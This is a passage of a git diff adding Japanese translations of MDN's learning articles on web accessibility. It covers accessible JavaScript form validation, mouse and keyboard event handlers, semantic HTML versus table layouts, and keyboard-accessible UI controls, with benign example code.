validate; + +function validate(e) { + errorList.innerHTML = ''; + for(var i = 0; i < formItems.length; i++) { + var testItem = formItems[i]; + if(testItem.input.value === '') { + errorField.style.left = '360px'; + createLink(testItem); + } + } + + if(errorList.innerHTML !== '') { + e.preventDefault(); + } +}</pre> + +<div class="note"> +<p><strong>注意</strong>: この例では、絶対的な位置指定を用いてエラーメッセージ・ボックスを隠したり見せたりしています。visibility や display などの他の方法を使っているわけではありません。なぜなら、絶対的な位置指定は、スクリーン・リーダーがコンテンツを読めるようにしておくことを妨げないからです。</p> +</div> + +<p>現実のフォーム検査は、これよりもっと複雑でしょう。入力された名前が実際に名前のようであることを確認したいかもしれませんし、入力された年齢が実際に数であり、かつ現実的である (たとえば、負数ではなく、4 桁でもない、など) ということを確認したいかもしれません。ここでは、各入力フィールドに値が入れられたことを確認する (<code>if(testItem.input.value === '')</code> という) 簡単な検査を実装しただけです。</p> + +<p>検査が実行された際に、もしテストに通れば、フォームが送信されます。もしエラーがあれば (つまり <code>if(errorList.innerHTML !== '')</code> であれば)、 (<code><a href="/ja/docs/Web/API/Event/preventDefault">preventDefault()</a></code> を用いて) フォームの送信を中止し、生成されたエラーメッセージをすべて表示します (下記参照)。この仕組みは、エラーが存在するときにだけエラーが表示される、ということを意味します。そしてそのことは、使い勝手のうえで、より良いことなのです。</p> + +<p>フォームが送信される際に値が入れられていない入力それぞれについて、リンクを有するリスト項目を作って、それを <code>errorList</code> に挿入しています。</p> + +<pre class="brush: js">function createLink(testItem) { + var listItem = document.createElement('li'); + var anchor = document.createElement('a'); + anchor.textContent = testItem.input.name + ' field is empty: fill in your ' + testItem.input.name + '.'; + anchor.href = '#' + testItem.input.name; + anchor.onclick = function() { + testItem.input.focus(); + }; + listItem.appendChild(anchor); + errorList.appendChild(listItem); +}</pre> + +<p>各リンクは二つの役割を果たします。つまり、何のエラーなのかを教えてくれますし、さらに、そのリンクをクリックする / アクティブにすると問題の入力要素へ直接ジャンプして入力を訂正できるようになっています。</p> + +<div class="note"> +<p><strong>注意</strong>: この例の <code>focus()</code> の部分は少し手が込んでいます。Chrome と Edge (と、IE の新しいバージョン) は、リンクがクリックされたときに要素にフォーカスを当てるので、<code>onclick</code>/<code>focus()</code> ブロックを必要としません。Safari はリンク自体とともにフォーム要素をハイライトするだけであり、そのため、実際にフォーム要素にフォーカスを当てるには <code>onclick</code>/<code>focus()</code> ブロックが必要です。Firefox は、こうした状況において入力要素に適切にフォーカスを当てることはまったくありません。よって、Firefox のユーザーは、現時点ではこの <code>onclick</code>/<code>focus()</code> ブロックの利益を享受できません (それ以外のすべてはうまく機能するのですが)。Firefox の問題はすぐに修正されるはずです。というのも、他のブラウザと同等のふるまいを Firefox にさせるための作業が、今なされている最中ですから ({{bug(277178)}} を参照).</p> +</div> + +<p>さらに、ソース順における先頭に <code>errorField</code> を置いてあります (CSS を使って、UI 上では別のところに配置してありますが)。これが意味することは、ユーザーが、ページの最初に戻ることで、自分のフォーム送信でまさに何が間違っているのかも分かるし、問題の入力要素にも行ける、ということです。</p> + +<p>最後の注記ですが、このデモではいくつか WAI-ARIA 属性を使いました。ページリロードをともなわずに絶えず更新するコンテンツの領域が引き起こすアクセシビリティの問題を、解決する手助けとするためです (スクリーン・リーダーは、デフォルトでは、こうしたコンテンツを拾い上げたり、ユーザーにこうしたコンテンツを警告したりはしないでしょう)。</p> + +<pre><div class="errors" role="alert" aria-relevant="all"> + <ul> + </ul> +</div></pre> + +<p>もっと詳細に <a href="/ja/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA</a> を扱う次の記事で、これらの属性について説明します。</p> + +<div class="note"> +<p><strong>注意</strong>: HTML5 フォームには <code>required</code> 属性や <code>min</code>/<code>minlength</code> 属性や <code>max</code>/<code>maxlength</code> 属性のような組み込みの検査の仕組みがあること (より詳しくは、{{htmlelement("input")}} 要素のリファレンスを参照) について考える読者もおそらくいることでしょう。このデモでは、結局これらの属性は使いませんでした。なぜなら、これらの属性についてのクロスブラウザ・サポートが当てにならないからです (たとえば IE10 以上のみでのサポートだったり、Safari ではサポートされていなかったりします)。</p> +</div> + +<div class="note"> +<p><strong>注意</strong>: WebAIM の <a href="http://webaim.org/techniques/formvalidation/">Usable and Accessible Form Validation and Error Recovery</a> は、アクセシブルなフォーム検査についてのさらに有用な情報をいくつか教えてくれます。</p> +</div> + +<h3 id="Other_JavaScript_accessibility_concerns" name="Other_JavaScript_accessibility_concerns">JavaScript のアクセシビリティのその他の問題</h3> + +<p>JavaScript で実装しつつアクセシビリティについて考えるときに意識すべきことは他にもあります。見つけ次第、さらなる事項を追加するつもりです。</p> + +<h4 id="mouse-specific_events" name="mouse-specific_events">マウスに特有のイベント</h4> + +<p> お気づきのとおり、ユーザーとの対話的動作のほとんどは、イベントハンドラーを使ってクライアントサイドの JavaScript で実装されます。イベントハンドラーによって、特定のイベントが起きるのに応じて関数を実行できるようになります。ある種のイベントには、アクセシビリティの問題があるかもしれません。読者が見つけることになるであろう主な例は、<a href="/ja/docs/Web/Events/mouseover">mouseover</a> や <a href="/ja/docs/Web/Events/mouseout">mouseout</a> や <a href="/ja/docs/Web/Events/dblclick">dblclick</a> などの、マウスに特有のイベントです。これらのイベントに応じて動作する機能は、キーボード・コントロールのような他の仕組みを用いていると、アクセシブルではなくなります。</p> + +<p>こうした問題を軽減するには、これらのイベントと、他の手段によってアクティブにできるような類似のイベントとの二重化をすべきです (いわゆるデバイスとは独立なイベントハンドラーです)。<a href="/ja/docs/Web/Events/focus">focus</a> と <a href="/ja/docs/Web/Events/blur">blur</a> は、キーボードのユーザーに対するアクセシビリティを提供してくれることでしょう。</p> + +<p>これが有用になりうる場合においてハイライトを行う事例を見てみましょう。ときにはサムネイル画像を設けたいことがあります。そのサムネイル画像にマウスオーバーした場合またはフォーカスが当たった場合に、その画像の、より大きなバージョンを表示するものです (電子商取引の商品カタログ上で見受けられるようなものです)。</p> + +<p>とても簡単な例を作りました。これは、<a href="http://mdn.github.io/learning-area/accessibility/css/mouse-and-keyboard-events.html">mouse-and-keyboard-events.html</a> で見られます (<a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/mouse-and-keyboard-events.html">ソースコード</a> も参照)。このコードは、ズームインした画像を表示する関数と隠す関数という、二つの関数を特徴としています。これらの関数は、これらの関数をイベントハンドラーとして設定する以下の行により実行されます。</p> + +<pre class="brush: js">imgThumb.onmouseover = showImg; +imgThumb.onmouseout = hideImg; + +imgThumb.onfocus = showImg; +imgThumb.onblur = hideImg;</pre> + +<p>最初の 2 行は、それぞれ、マウスポインターがサムネイル上にホバーしたときと、マウスポインターがサムネイル上にホバーするのをやめたときに、関数を動作させます。しかしこれだと、ズームしたビューにキーボードを通じてアクセスすることはできません。それをできるようにするために、後ろの方の 2 行を含めました。この 2 行は、画像にフォーカスが当たったときと、画像からフォーカスが外れた (フォーカスが停止した) ときに、関数を動作させます。こうしたことは、タブキーで画像上に移動することでできることです。なぜなら、画像に <code>tabindex="0"</code> を含めておいたからです。</p> + +<p><a href="/ja/docs/Web/Events/click">click</a> クリックイベントは興味深いものです。マウス依存のように聞こえる名前ですが、ほとんどのブラウザーは、フォーカスの当たっているリンクまたはフォーム要素上でエンター / リターンが押された後に、あるいは、そうした要素がタッチスクリーン装置上でタップされたときに、<a href="/ja/docs/Web/API/GlobalEventHandlers/onclick">onclick</a> イベントハンドラーをアクティブにすることでしょう。しかしこれは、tabindex を用いて、デフォルトではフォーカス可能ではないイベントがフォーカスを持つようにしていると、デフォルトのままではうまく機能しません。そうした場合では、まさにそのキーが具体的にはいつ押されたのかを検出する必要があります (<a href="/ja/docs/Learn/Accessibility/HTML#Building_keyboard_accessibility_back_in">Building keyboard accessibility back in</a> を参照)。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>ウェブページ上での CSS と JavaScript の使用にまつわるアクセシビリティの問題について、このページが適切な量の細部と理解をもたらしたのであれば幸いです。</p> + +<p>次は WAI-ARIA の番です!</p> + +<div>{{PreviousMenuNext("Learn/Accessibility/HTML","Learn/Accessibility/WAI-ARIA_basics", "Learn/Accessibility")}}</div> + +<div> +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ul> + <li><a href="/ja/docs/Learn/Accessibility/What_is_accessibility">アクセシビリティとは?</a></li> + <li><a href="/ja/docs/Learn/Accessibility/HTML">HTML: アクセシビリティの基礎</a></li> + <li><a href="/ja/docs/Learn/Accessibility/CSS_and_JavaScript">CSS と JavaScript のアクセシビリティのベスト・プラクティス</a></li> + <li><a href="/ja/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA の基本</a></li> + <li><a href="/ja/docs/Learn/Accessibility/Multimedia">アクセシブルなマルチメディア</a></li> + <li><a href="/ja/docs/Learn/Accessibility/Mobile">モバイルアクセシビリティ</a></li> + <li><a href="/ja/docs/Learn/Accessibility/Accessibility_troubleshooting">アクセシビリティのトラブルシューティング</a></li> +</ul> +</div> diff --git a/files/ja/learn/accessibility/html/index.html b/files/ja/learn/accessibility/html/index.html new file mode 100644 index 0000000000..519594ad89 --- /dev/null +++ b/files/ja/learn/accessibility/html/index.html @@ -0,0 +1,564 @@ +--- +title: 'HTML: アクセシビリティの基礎' +slug: Learn/Accessibility/HTML +tags: + - AT + - Accessibility + - Article + - Beginner + - Buttons + - CodingScripting + - Forms + - HTML + - Learn + - Links + - a11y + - assistive technology + - keyboard + - screenreader + - semantics + - アクセシビリティ + - キーボード + - スクリーンリーダー + - セマンティクス + - フォーム + - ボタン + - リンク + - 初心者 + - 学習 + - 意味 +translation_of: Learn/Accessibility/HTML +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}</div> + +<p class="summary">正確な HTML要素が、常に正しい目的で使用されているかを確認するだけで、たくさんのウェブコンテンツがアクセシブルになります。 ここでは、最大限のアクセシビリティを確保するために、HTML をどのように使用できるかについて詳しく説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>基本的なコンピュータの知識、HTML に関する基本的な理解 (<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 概論</a> を参照)、<a href="/ja/docs/Learn/Accessibility/What_is_accessibility">アクセシビリティとは何か</a> に関する理解。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>HTML のうち、どの機能にアクセシビリティ上の利点があるのか、また、自身のウェブドキュメントでそうした機能を適切に使うにはどうしたらよいのか、ということに精通すること。</td> + </tr> + </tbody> +</table> + +<h2 id="HTML_and_accessibility" name="HTML_and_accessibility">HTML とアクセシビリティ</h2> + +<p>HTML について学習を進めるのにつれて——資料をたくさん読んだり、たくさんの例を見たりするのにつれて——共通の主題を繰り返し見続けることになるでしょう。つまり、意味的な (セマンティックな) HTML を使うことの重要性という主題です (これは、POSH すなわち Plain Old Semantic HTML (簡潔な昔ながらの意味的 HTML) と呼ばれることがあります)。これが意味することは、できる限り、ふさわしい HTML 要素をふさわしい目的に使う、ということです。</p> + +<p>これが何故それほど重要なのか、不思議に思うかもしれません。何しろ、CSS と JavaScript の組み合わせを使って、ほぼすべての HTML 要素を、どのような仕方であれ望みどおりに振る舞わせることができるわけですから。たとえば、サイト上で動画を再生するためのコントロール・ボタンを、次のようにマークアップすることもできます。</p> + +<pre class="brush: html"><div>動画を再生する</div></pre> + +<p>けれども、後にさらに詳しく見るとおり、この役割にふさわしい要素を使うことには、とても意味があります。</p> + +<pre class="brush: html"><button>動画を再生する</button></pre> + +<p>HTML の <code><button></code> は、ある種の適切なスタイルが (おそらくそのスタイルを上書きしたいと思うでしょうが) デフォルトで適用されているだけでなく、組み込みのキーボード・アクセシビリティも備えています。つまり、<code><button></code> 同士の間をタブで移動できますし、リターン / エンターを使って <code><button></code> をアクティブにできます。</p> + +<p>もしプロジェクトの最初から首尾一貫して意味的な HTML を書くならば、意味的な HTML を書く方が非意味的な (駄目な) マークアップを書くよりも長くなったりはしません。それに、意味的な HTML には、アクセシビリティ以外の他の利点もあります。</p> + +<ol> + <li><strong>より開発しやすい</strong>——上述のとおり、ある種の機能がただで手に入りますし、それに、より理解しやすいという点はまず間違いないところです。</li> + <li><strong>モバイル機器に関して、より優れている</strong>——意味的な HTML は非意味的なスパゲッティ・コードよりも、ファイルサイズの点でほぼ間違いなく軽量ですし、レスポンシブにするのも簡単です。</li> + <li><strong>SEO に関しても良好である</strong>——検索エンジンは、非意味的な <code><div></code> などに含まれるキーワードよりも、見出しやリンクなどの中のキーワードの方に重みを持たせているので、ドキュメントが顧客に見つけてもらいやすくなるでしょう。</li> +</ol> + +<p>それでは、ここからアクセシブルな HTML をより詳しく見てゆきましょう。</p> + +<div class="note"> +<p><strong>注</strong>: 自分のローカルコンピューターにスクリーンリーダーを用意することは良い考えです。そうすれば、以下に示す例について、ある程度のテストができます。より詳しくは、<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">Screenreaders guide</a> を参照してください。</p> +</div> + +<h2 id="Good_semantics" name="Good_semantics">良いセマンティクス</h2> + +<p>良いセマンティクスの重要性について、そして、ふさわしい役割にふさわしい HTML 要素を使うべきである理由については、すでに述べました。このことは無視してはなりません。なぜなら、適切に扱わないとアクセシビリティがひどく損なわれてしまう主な箇所のうちの一つだからです。</p> + +<p>ウェブ上のどこかで、実は、人々は HTML のマークアップに関してとても変なことをしています。HTML の悪用のうちには、まだ完全に忘れ去られたわけではない過去の遺物的な慣行によるものもあり、ただ単純な無知によるものもあります。いずれにせよ、そうした駄目なコードは、どこで見たものであれ、可能な場合にはいつでも置き換えるべきです。</p> + +<p>ときには、駄目なマークアップを取り去れる状況にいるとは限りません。自分で完全に制御しきれるわけではない、ある種のサーバーサイド・フレームワークによって、生成されたページなのかもしれません。あるいは、自分のページ上に、自分が管理していない (広告バナーのような) 第三者のコンテンツを含むかもしれません。</p> + +<p>しかし、目標は「全か無か」というものではありません。自分ができる改善のことごとくが、アクセシビリティの理念に役立つことでしょう。</p> + +<h3 id="Text_content" name="Text_content">テキストコンテンツ</h3> + +<p>スクリーンリーダーのユーザーが得られる最良のアクセシビリティ支援の一つは、見出しや段落やリストなどの適切なコンテンツ構造です。きちんと意味を備えた例は、以下のようなものになるでしょう。</p> + +<pre class="brush: html example-good line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>h1</span><span class="punctuation token">></span></span>見出し<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>h1</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span><span class="punctuation token">></span></span>これは文書のうちの最初のセクションです。<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span><span class="punctuation token">></span></span>ここにも、もう一つ段落を足すつもり。<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">> + +<ol> + <li>ここには</li> + <li>読んでもらいたいことの</li> + <li>リストがあります。</li> +</ol></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>h2</span><span class="punctuation token">></span></span>下位見出し<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>h2</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span><span class="punctuation token">></span></span>これは文書のうちの最初のサブセクションです。みんながこのコンテンツを見つけられるといいな!<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>h2</span><span class="punctuation token">></span></span>2 番目の下位見出し<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>h2</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span><span class="punctuation token">></span></span>これはコンテンツのうちで 2 番目のサブセクションです。この前のものより面白いと思いますよ。<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span></code></pre> + +<p>スクリーンリーダーを使って試せるように、より長いテキストのバージョンを用意してあります (<a href="http://mdn.github.io/learning-area/accessibility/html/good-semantics.html">good-semantics.html</a> を参照)。これの全体をナビゲートして (経巡って) みれば、これはとても見通しが得やすいものだということがわかるでしょう。</p> + +<ol> + <li>コンテンツの中を進んでゆくのにつれて、スクリーンリーダーは各ヘッダを読み上げて、どれが見出しでどれが段落なのかといったことを知らせてくれます。</li> + <li>どのような速度が快適であるにせよ、その速度で進んでいけるように、スクリーンリーダーは各要素の後で停止します。</li> + <li>多くのスクリーンリーダーでは、次の見出し / 前の見出しへとジャンプできます。</li> + <li>多くのスクリーンリーダーでは、すべての見出しの一覧を取り出せます。それらの見出しを、特定のコンテンツを見つけるための手軽な目次のようにも使えます。</li> +</ol> + +<p>ときには、たとえば以下のように、体裁用の HTML や改行を使って見出しや段落などを書く人もいます。</p> + +<pre class="brush: html example-bad line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>font</span> <span class="attr-name token">size</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>7<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>見出し<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>font</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>br</span><span class="punctuation token">></span></span><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>br</span><span class="punctuation token">></span></span> +これは文書のうちの最初のセクションです。 +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>br</span><span class="punctuation token">></span></span><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>br</span><span class="punctuation token">></span></span> +ここにも、もう一つ段落を足すつもり。 +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>br</span><span class="punctuation token">></span><span class="tag token"><span class="punctuation token"><</span>br</span><span class="punctuation token">> +1. ここには +</span><span class="tag token"><span class="punctuation token"><</span>br</span><span class="punctuation token">></span><span class="tag token"><span class="punctuation token"><</span>br</span><span class="punctuation token">> +2. 読んでもらいたいことの +</span><span class="tag token"><span class="punctuation token"><</span>br</span><span class="punctuation token">></span><span class="tag token"><span class="punctuation token"><</span>br</span><span class="punctuation token">> +3. リストがあります。 +</span><span class="tag token"><span class="punctuation token"><</span>br</span><span class="punctuation token">></span><span class="tag token"><span class="punctuation token"><</span>br</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>font</span> <span class="attr-name token">size</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>5<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>下位見出し<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>font</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>br</span><span class="punctuation token">></span></span><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>br</span><span class="punctuation token">></span></span> +これは文書のうちの最初のサブセクションです。みんながこのコンテンツを見つけられるといいな! +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>br</span><span class="punctuation token">></span></span><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>br</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>font</span> <span class="attr-name token">size</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>5<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>2 番目の下位見出し<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>font</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>br</span><span class="punctuation token">></span></span><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>br</span><span class="punctuation token">></span></span> +これはコンテンツのうちで 2 番目のサブセクションです。この前のものより面白いと思いますよ。</code></pre> + +<p>より長いバージョンをスクリーンリーダーで試してみれば (<a href="http://mdn.github.io/learning-area/accessibility/html/bad-semantics.html">bad-semantics.html</a> を参照)、とても良い体験が得られる、とはいかないことでしょう。スクリーンリーダーは、標識として使えるものを何も得られないので、有用な目次は取得できません。また、ページ全体を単一の巨大な塊として見ることになるので、ページ全体が一度にひとかたまりで読み上げられるだけなのです。 </p> + +<p>アクセシビリティ以外の他の問題もあります。たとえば、CSS を使ってコンテンツにスタイルをつけることや、あるいは、JavaScript でコンテンツを操作することが、より難しくなるのです。なぜなら、セレクターとして使える要素がないからです。</p> + +<h4 id="Using_clear_language" name="Using_clear_language">明確な言葉を使う</h4> + +<p>使っている言い回しもアクセシビリティに影響を与えることがあります。一般に、過度に複雑ではない、明確な言葉を使うべきです。また、不必要な専門用語 (ジャーゴン) や俗語を使わないようにしましょう。これは、認知的な障害またはその他の障害を抱える人たちの助けとなるだけではありません。母語以外で書かれたテキストの読者や、年少者の助けにもなりますし、実際のところあらゆる人の助けになります! それに加えて、スクリーンリーダーによって明確に読み上げられない言い回しや文字を使うことを避けるように努めるべきです。たとえば、以下のようなことです。</p> + +<ul> + <li>やめられるものなら、ダッシュを使わないようにしましょう。「5–7」と書く代わりに「5 から 7」と書きましょう。</li> + <li>略語を展開しましょう。「Jan」と書く代わりに「January」と書きましょう。</li> + <li>少なくとも一、二回は、頭文字語を展開しましょう。最初の出現箇所で「HTML」と書く代わりに、「Hypertext Markup Language すなわち HTML」と書きましょう。</li> +</ul> + +<h3 id="Page_layouts" name="Page_layouts">ページレイアウト</h3> + +<p>古き悪しき時代には、HTML テーブルを使って (つまり、ヘッダー、フッター、サイドバー、主要コンテンツの列、などなどを含む、別々のテーブル・セルを使って)、ページレイアウトを作成していたものです。これは良い考えではありません。なぜなら、スクリーンリーダーが、こんがらがった読み上げを発する可能性が高いからです。特に、レイアウトが複雑で多くの入れ子になったテーブルがある場合には、そうなりがちです。</p> + +<p><a href="http://mdn.github.io/learning-area/accessibility/html/table-layout.html">table-layout.html</a> の例を試してみてください。これは、以下のような感じになっています。</p> + +<pre class="brush: html"><table width="1200"> + <!-- 主要な見出しの行 --> + <tr id="heading"> + <td colspan="6"> + + <h1 align="center">Header</h1> + + </td> + </tr> + <!-- ナビゲーション・メニューの行 --> + <tr id="nav" bgcolor="#ffffff"> + <td width="200"> + <a href="#" align="center">Home</a> + </td> + <td width="200"> + <a href="#" align="center">Our team</a> + </td> + <td width="200"> + <a href="#" align="center">Projects</a> + </td> + <td width="200"> + <a href="#" align="center">Contact</a> + </td> + <td width="300"> + <form width="300"> + <input type="search" name="q" placeholder="Search query" width="300"> + </form> + </td> + <td width="100"> + <button width="100">Go!</button> + </td> + </tr> + <!-- 間隔をあけるための詰め物の行 --> + <tr id="spacer" height="10"> + <td> + + </td> + </tr> + <!-- 主要なコンテンツと余談の行 --> + <tr id="main"> + <td id="content" colspan="4" bgcolor="#ffffff"> + + <!-- 主要なコンテンツがここに来る --> + </td> + <td id="aside" colspan="2" bgcolor="#ff80ff" valign="top"> + <h2>Related</h2> + + <!-- 余談的コンテンツがここに来る --> + + </td> + </tr> + <!-- 間隔をあけるための詰め物の行 --> + <tr id="spacer" height="10"> + <td> + + </td> + </tr> + <!-- フッターの行 --> + <tr id="footer" bgcolor="#ffffff"> + <td colspan="6"> + <p>©Copyright 2050 by nobody. All rights reversed.</p> + </td> + </tr> + </table></pre> + +<p> スクリーンリーダーを使ってこれを読んで回ろうとすると、おそらくスクリーンリーダーは、見るべきテーブルがありますよ、と教えてくれるでしょう (もっとも、一部のスクリーンリーダーは、テーブル・レイアウトとデータ・テーブルとの違いを推測できるでしょうが)。すると、(使っているスクリーンリーダーによりますが) オブジェクトとしてのテーブルのところまで行って、そのテーブルの項目をそれぞれ別々に見て、それからやっと、テーブルから抜けて元の場所に戻り、コンテンツを読んで回ることを続ける、というふうにせざるを得ない可能性が高いでしょう。</p> + +<p>テーブル・レイアウトは過去の遺物です。テーブル・レイアウトは、CSS のサポートがブラウザに広く行き渡っていなかった当時には意味を持っていましたが、スクリーンリーダーのユーザーに対して混乱を巻き起こします。しかも、他の多くの理由でも有害です (テーブルの乱用ですし、ほぼ間違いなくマークアップをより多く要しますし、デザインの柔軟さを損ねます)。テーブル・レイアウトをしてはなりません!</p> + +<p>直前にした体験を、<a href="http://mdn.github.io/learning-area/html/introduction-to-html/document_and_website_structure/">よりモダンなウェブサイトの構成例</a> (以下のような感じです) と比較することで、上記のような (テーブル・レイアウトは駄目だという) 主張の正しさを確認できます。</p> + +<pre class="brush: html"><header> + <h1>Header</h1> +</header> + +<nav> + <!-- 主なナビゲーションはここです。 --> +</nav> + +<!-- ここにページの主要コンテンツが来ます。 --> +<main> + + <!-- 主要コンテンツは記事を含みます。 --> + <article> + <h2>Article heading</h2> + + <!-- 記事の中身はここです。 --> + </article> + + <aside> + <h2>Related</h2> + + <!-- 余談の中身はここです。 --> + </aside> + +</main> + +<!-- そしてここには、ウェブサイトの全ページを通じて使う主要なフッターが来ます。 --> + +<footer> + <!-- フッターの中身はここです。 --> +</footer></pre> + +<p>よりモダンな構造の例をスクリーンリーダーで試してみれば、もはやレイアウト・マークアップが妨げになることもなく、コンテンツの読み上げを混乱させることもない、とわかるでしょう。また、これは、コード・サイズの点で、より無駄がなく、より小さくなっています。これが意味することは、コードの保守が容易になるということ、そして、ユーザがダウンロードするのに帯域幅が小さくて済むということです (特に、接続が遅い人たちにとってはこれが効きます)。</p> + +<p>レイアウトを作る際に考慮すべきもう一つの事柄は、上記の例に見られるように HTML5 の意味的要素を用いることです (<a href="/ja/docs/Web/HTML/Element#Content_sectioning">コンテンツセクショニング</a> を参照)。 入れ子になった {{htmlelement("div")}} 要素だけを使ってレイアウトを作ることもできますが、適切なセクショニング (区分け) 要素を使って、主要なナビゲーション ({{htmlelement("nav")}}) やフッター ({{htmlelement("footer")}}) や繰り返し現れるコンテンツ単位 ({{htmlelement("article")}}) などを囲う方が良いのです。これらの区分け要素は、いまナビゲートしている最中のコンテンツについての追加的な手がかりをユーザーに与えられるように、スクリーンリーダー (および他のツール) に追加的な意味 (セマンティクス) を提供してくれます (スクリーンリーダー・サポートとはどのようなものなのかについての考え方に関しては、<a href="http://www.weba11y.com/blog/2016/04/22/screen-reader-support-for-new-html5-section-elements/">Screen Reader Support for new HTML5 Section Elements</a> を参照)。</p> + +<div class="note"> +<p><strong>注</strong>: コンテンツは、ちゃんと意味的なものにしておき、レイアウトも魅惑的にしておくだけでなく、ソース順において論理的に意味をなすようにもしておくべきです。あとで CSS を使えば必ず望みどおりの場所にコンテンツを配置できますが、ソース順は、その順で読み始めるのが適切なようにしておくべきです。そうすれば、スクリーンリーダーのユーザーが読み上げさせたものが、意味をなすことでしょう。</p> +</div> + +<h3 id="UI_controls" name="UI_controls">UI コントロール</h3> + +<p>ここで UI コントロールという言葉によって意味しているのは、ユーザーが対話的に操作する対象の、ウェブドキュメントの主要部分のことであり、もっとも一般的には、ボタン、リンク、およびフォーム・コントロールのことです。本節では、そうしたコントロールを作る際に認識しておくべき基本的なアクセシビリティの問題を見てゆきましょう。WAI-ARIA とマルチメディアに関する後続の記事で、UI アクセシビリティの他の側面について見ることにします。</p> + +<p>UI コントロールのアクセシビリティに対する一つの重要な側面は、ブラウザがデフォルトでは 、UI コントロールをキーボードで操作できるようにしている、ということです。このことは、<a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">native-keyboard-accessibility.html</a> の例 (<a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">ソースコード</a> を参照) を用いて試せます。これを新規タブで開いて、タブキーを押してみてください。二、三回押してみた後には、フォーカス可能な異なる要素の間をタブ・フォーカスが動き回り始めたのだと分かるはずです。どの要素にフォーカスが当たっているのかが分かるように、どのブラウザでも、フォーカスの当たっている要素には、ハイライトされたデフォルトのスタイルが付与されます (そのスタイルは、異なるブラウザ間では少し差があります)。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14215/button-focused-unfocused.png" style="border-style: solid; border-width: 1px; display: block; height: 39px; margin: 0px auto; width: 288px;"></p> + +<p>その後、エンターキー / リターンキーを押すと、フォーカスの当たっているリンクをたどることもできますし、または、ボタンを押すこともできますし (ボタンにメッセージ警告を出させるための JavaScript を含めておきました)、あるいは、テキスト入力欄にテキストを入力するためのタイピングを開始することもできます (他のフォーム要素には別のコントロールがあります。たとえば、{{htmlelement("select")}} 要素は、選択肢を表示させることや、上下の矢印キーを用いて選択肢の間を行ったり来たりさせることができます)。</p> + +<div class="note"> +<p><strong>注</strong>: 異なるブラウザでは、異なるキーボード・コントロール・オプションを使用可能としている場合があります。さらに詳しいことは、<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Using_native_keyboard_accessibility">Using native keyboard accessibility</a> を参照してください。</p> +</div> + +<p>こうした振る舞いは、たとえば以下のように単に適切な要素を用いるだけで、本質的にはただで手に入ります。</p> + +<pre class="brush: html example-good"><h1>Links</h1> + +<p>This is a link to <a href="https://www.mozilla.org">Mozilla</a>.</p> + +<p>Another link, to the <a href="https://developer.mozilla.org">Mozilla Developer Network</a>.</p> + +<h2>Buttons</h2> + +<p> + <button data-message="This is from the first button">Click me!</button> + <button data-message="This is from the second button">Click me too!</button> + <button data-message="This is from the third button">And me!</button> +</p> + +<h2>Form</h2> + +<form> + <div> + <label for="name">Fill in your name:</label> + <input type="text" id="name" name="name"> + </div> + <div> + <label for="age">Enter your age:</label> + <input type="text" id="age" name="age"> + </div> + <div> + <label for="mood">Choose your mood:</label> + <select id="mood" name="mood"> + <option>Happy</option> + <option>Sad</option> + <option>Angry</option> + <option>Worried</option> + 